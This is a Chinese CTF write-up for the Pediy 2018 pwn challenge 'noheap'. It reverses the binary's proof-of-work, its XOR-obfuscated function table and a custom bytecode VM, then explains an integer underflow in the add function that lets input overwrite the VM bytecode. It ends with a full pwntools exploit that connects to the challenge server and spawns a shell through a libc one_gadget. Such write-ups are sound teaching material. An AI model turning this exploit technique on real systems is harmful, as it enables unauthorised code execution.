首页
社区
课程
招聘
[原创] 第六题 PWN-noheap WriteUp
2018-6-26 15:40 2556

[原创] 第六题 PWN-noheap WriteUp

2018-6-26 15:40
2556

Pediy CTF 2018 Writeup - noheap

目录

 

这一个pwn题,感觉也还是比较偏逆向……

程序分析

IDA载程序可以发现程序先做了一个proof of work验证,自己手写了一个简单的哈希函数,随机生成4个0x30 ~ 0x5B之间的字节,当成int32型做两次数学运算,然后再当成字符串生成哈希值。

 

算法:

def gen_num(n):
    n = (214013 * n + 2531011) & 0xFFFFFFFF
    res = p32(n)
    n = (214013 * n + 2531011) & 0xFFFFFFFF
    res += p32(n)
    return res    

def hashss(s):
    val = 0
    for i in range(8):
        val = (val * 0x83 + ord(s[i])) & 0xFFFFFFFF
    return val

写一个函数,爆破4个字节即可,注意输入的应该是4个字节被做两次数学运算后的8个字节。

 

进了程序流程以后可以看到控制流程的函数非常的诡异:

.text:000055874A0ED470                 push    rbp
.text:000055874A0ED471                 mov     rbp, rsp
.text:000055874A0ED474                 sub     rsp, 10h
.text:000055874A0ED478
.text:000055874A0ED478 main_func:                              ; DATA XREF: init_table+DD↑o
.text:000055874A0ED478                 call    menu
.text:000055874A0ED47D                 call    read_num
.text:000055874A0ED482                 mov     [rbp+opt], eax
.text:000055874A0ED485                 mov     eax, [rbp+opt]
.text:000055874A0ED488                 test    eax, eax
.text:000055874A0ED48A                 jz      short locret_55874A0ED4EE
.text:000055874A0ED48C                 mov     eax, [rbp+opt]
.text:000055874A0ED48F                 cmp     eax, 3
.text:000055874A0ED492                 ja      short locret_55874A0ED4EE
.text:000055874A0ED494                 lea     rax, src
.text:000055874A0ED49B                 movzx   rcx, byte ptr [rbp+opt]
.text:000055874A0ED4A0                 dec     rcx
.text:000055874A0ED4A3                 not     rcx
.text:000055874A0ED4A6                 mov     rdi, [rax+rcx*8-10h]
.text:000055874A0ED4AB                 mov     rsi, [rax+rcx*8-38h]
.text:000055874A0ED4B0                 xor     rdi, rsi
.text:000055874A0ED4B3                 mov     [rsp+10h+var_70], rdi
.text:000055874A0ED4B8                 mov     rdi, [rax-30h]
.text:000055874A0ED4BC                 mov     rsi, [rax-58h]
.text:000055874A0ED4C0                 xor     rdi, rsi
.text:000055874A0ED4C3                 mov     [rsp+10h+var_18], rdi
.text:000055874A0ED4C8                 mov     rsi, [rax-38h]
.text:000055874A0ED4CC                 mov     rax, [rax-60h]
.text:000055874A0ED4D0                 xor     rax, rsi
.text:000055874A0ED4D3                 mov     [rsp+10h+var_78], rax
.text:000055874A0ED4D8                 mov     [rsp+10h+var_20], rbp
.text:000055874A0ED4DD                 lea     rsp, [rsp-10h]
.text:000055874A0ED4E2                 mov     rbp, rsp
.text:000055874A0ED4E5                 sub     rsp, 88h
.text:000055874A0ED4EC                 jmp     rax
.text:000055874A0ED4EE ; ---------------------------------------------------------------------------
.text:000055874A0ED4EE
.text:000055874A0ED4EE locret_55874A0ED4EE:                    ; CODE XREF: main_func_0+1A↑j
.text:000055874A0ED4EE                                         ; main_func_0+22↑j
.text:000055874A0ED4EE                 leave
.text:000055874A0ED4EF                 retn
.text:000055874A0ED4EF main_func_0     endp

将BSS段的某几个值异或,某几个放在栈里,固定的一个jmp过去。
利用JumpToXref功能,寻找这几个值被引用的地方,发现在init_array中有初始化函数:

  v3 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  for ( i = 0; i <= 4; ++i )
    read(fd, (char *)src - 64LL - 8 * i, 8uLL);
  add_ptr = add_xor ^ (unsigned __int64)add;
  show_ptr = show_xor ^ (unsigned __int64)show;
  del_ptr = del_xor ^ (unsigned __int64)del;
  main_ptr = main_xor ^ (unsigned __int64)&main_func;
  vm_ptr = vm_xor ^ (unsigned __int64)vm_func;
  *(_QWORD *)bytecodes = 0x106040F01130301LL;
  *(_QWORD *)&bytecodes[8] = 0x4000161302011409LL;
  *(_DWORD *)&bytecodes[16] = 0;
  *(_WORD *)&bytecodes[20] = 0;
  bytecodes[22] = 0;
  close(fd);
  return __readfsqword(0x28u) ^ v3;

程序把主要的几个功能函数写入到了bss段里,并和随机数异或,到需要用到的时候再动态取出。
用于跳转的固定函数是个VM解析器,字节码被提前写入BSS段。

漏洞

一开始习惯性的去找free函数的问题,发现只能free之前刚malloc的一块堆,并且free之后指针已经置零。show函数只能show一次,之后便会关闭stdout和stderr,这些地方似乎没有漏洞。
后来发现,add函数存在一个不太明显的整数溢出:

  printf("Size :");
  result = read_num();
  size_8 = (unsigned int)result;
  if ( (unsigned int)result > 0x80uLL )
    return result;
  dest = malloc((unsigned int)result);
  if ( dest )
  {
    printf("Content :");
    n = read_buf(src, (unsigned __int8)(size_8 - 1));
    memcpy(dest, src, n);
    curr_chunk.ptr = (__int64)dest;
    result = (unsigned __int64)&curr_chunk;
    curr_chunk.size = size_8;
  }
  else
  {
    result = puts("error.");
  }
  return result;
}

如果读入0,满足了unsigned int小于0x80的条件,malloc(0)可以正常返回,read_buf的第二个参数便会变成0 - 1 = 0xFF,超过了128,可以在BSS段溢出到VM的字节码。

VM逆向

经过一番分析,标了操作数和寄存器之后的VM函数:

 __int64 v1; // rt1
  void *__ptr32 *result; // rax
  __int64 v3; // rax

  a1[-1].pc = 0LL;
  a1[-1].IR = 0LL;
  a1[-1]._AX = 0LL;
  a1[-1].field_38 = 0LL;
  a1[-1]._BX = 0LL;
  a1[-1].func_ptr = 0LL;
  a1[-1].num2 = 0LL;
  a1[-1].jmp_flag = 0LL;
  while ( 2 )
  {
    a1[-1].IR = bytecodes[a1[-1].pc];
    v1 = a1[-1].IR;
    result = off_55874A0EDA1C;
    switch ( (unsigned __int64)a1 )
    {
      case MOV_AX:
        a1[-1]._AX = (unsigned __int8)bytecodes[a1[-1].pc + 1];
        a1[-1].pc += 2LL;
        continue;
      case MOV_BX__AX_:
        a1[-1]._BX = (unsigned __int8)bytecodes[a1[-1]._AX];
        ++a1[-1].pc;
        continue;
      case MOV_FUNC__AX_:
        a1[-1].func_ptr = *(_QWORD *)&bytecodes[a1[-1]._AX];
        ++a1[-1].pc;
        continue;
      case MOV_NUM__AX_:
        a1[-1].num2 = *(_QWORD *)&bytecodes[a1[-1]._AX];
        ++a1[-1].pc;
        continue;
      case SUB_FUNC_NUM:
        a1[-1].func_ptr -= a1[-1].num2;
        ++a1[-1].pc;
        continue;
      case ADD_FUNC_NUM:
        a1[-1].func_ptr += a1[-1].num2;
        ++a1[-1].pc;
        continue;
      case MUL_FUNC_NUM:
        a1[-1].func_ptr *= a1[-1].num2;
        ++a1[-1].pc;
        continue;
      case DIV_FUNC_NUM:
        a1[-1].func_ptr = (unsigned __int64)a1[-1].func_ptr / a1[-1].num2;
        ++a1[-1].pc;
        continue;
      case XOR_FUNC_NUM:
        a1[-1].func_ptr ^= a1[-1].num2;
        ++a1[-1].pc;
        continue;
      case AND_FUNC_NUM:
        a1[-1].func_ptr &= a1[-1].num2;
        ++a1[-1].pc;
        continue;
      case OR_FUNC_NUM:
        a1[-1].func_ptr |= a1[-1].num2;
        ++a1[-1].pc;
        continue;
      case CMP_FUNC_NUM:
        a1[-1].jmp_flag = a1[-1].func_ptr != a1[-1].num2;
        ++a1[-1].pc;
        continue;
      case JNZ:
        if ( a1[-1].jmp_flag )
          v3 = a1[-1].pc + 2;
        else
          v3 = (unsigned __int8)bytecodes[a1[-1].pc];
        a1[-1].pc = v3;
        continue;
      case MOV_FUNC_BX:
        a1[-1].func_ptr = a1[-1]._BX;
        ++a1[-1].pc;
        continue;
      case MOV_NUM_BX:
        a1[-1].num2 = a1[-1]._BX;
        ++a1[-1].pc;
        continue;
      case MOV_BX_FUNC:
        a1[-1]._BX = a1[-1].func_ptr;
        ++a1[-1].pc;
        continue;
      case MOV_BX_NUM:
        a1[-1]._BX = a1[-1].num2;
        ++a1[-1].pc;
        continue;
      case MOV_FUNC_NUM:
        a1[-1].func_ptr = a1[-1].num2;
        ++a1[-1].pc;
        continue;
      case MOV_FUNC__BP_sub_AX_:
        a1[-1].func_ptr = *(&a1[-1].pc - a1[-1]._AX);
        ++a1[-1].pc;
        continue;
      case MOV__BP_sub_AX__FUNC:
        *(&a1[-1].pc - a1[-1]._AX) = a1[-1].func_ptr;
        ++a1[-1].pc;
        continue;
      case INC_BX:
        ++a1[-1]._BX;
        ++a1[-1].pc;
        continue;
      case CALL_FUNC:
        ++a1[-1].pc;
        result = (void *__ptr32 *)((__int64 (*)(void))a1[-1].func_ptr)();
        break;
      default:
        return result;
    }
    break;
  }
  return result;

// PC的内容当PC指针用,PC的地址当基址寄存器用……膜出题人……
原来的字节码对应的指令:

0 MOV AX, 3
2 MOV FUNC, [BP - AX]
3 MOV AX, 0xF
5 MOV NUM, [bytecode + AX]
6 ADD FUNC, NUM
7 MOV AX, 9
9 MOV [BP - AX], FUNC
A MOV AX, 2
C MOV FUNC, [BP - AX]
D CALL FUNC

可以看到FUNC是从栈上直接取来的函数地址,可以跳过去执行。那么可以从栈上取到一个libc中的地址。
经过调试,发现栈上存在一个write+0x10的地址,在栈上的相对偏移为13,相对libc的偏移为0xf72c0,相距最近的有一个one_gadget,偏移为0xf1147,相对偏移是-0x6179.

 

那么可以写出如下的指令:

0 MOV AX, 13
2 MOV FUNC, [BP - AX] # write + 10
3 MOV AX, 8
5 MOV NUM, [bytecode + AX] 
6 SUB FUNC, NUM
7 CALL FUNC
8 dq 0x6179

翻译成字节码,利用溢出来覆盖,再触发一次VM,得到一个shell。

EXP

from pwn import *

#p = process('./noheap')
p = remote('139.199.99.130', 8989)

'''
target opcode:
0 MOV AX, 13
2 MOV FUNC, [BP - AX] # write + 10
3 MOV AX, 8
5 MOV NUM, [AX] 
6 SUB FUNC, NUM
7 CALL FUNC
8 dq 0x6179
'''

target_opcode = [
    p8(1), p8(13), 
    p8(0x13), 
    p8(1), p8(8), 
    p8(4), 
    p8(5), 
    p8(0x16), 
    p64(0x6179) 
]

def gen_num(n):
    n = (214013 * n + 2531011) & 0xFFFFFFFF
    res = p32(n)
    n = (214013 * n + 2531011) & 0xFFFFFFFF
    res += p32(n)
    return res    

def hashss(s):
    val = 0
    for i in range(8):
        val = (val * 0x83 + ord(s[i])) & 0xFFFFFFFF
    return val

def proof(h):
    for x1 in range(48, 48 + 0x2B):
        for x2 in range(48, 48 + 0x2B):
            for x3 in range(48, 48 + 0x2B):
                for x4 in range(48, 48 + 0x2B):
                    n = (x1 << 24) | (x2 << 16) | (x3 << 8) | (x4)
                    #print hex(n)
                    res = gen_num(n)
                    #print res
                    if (hashss(res) == h):
                        return res

p.recvuntil("Hash:")
h = int(p.recvline().strip(), 16)
print hex(h)
r = proof(h)
print r
p.sendline(r)

p.sendline('1')
p.recvuntil('Size :')
p.sendline('0')
p.recvuntil('Content :')
p.sendline('A' * 128 + ''.join(target_opcode))

p.sendline('1')

p.interactive()

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回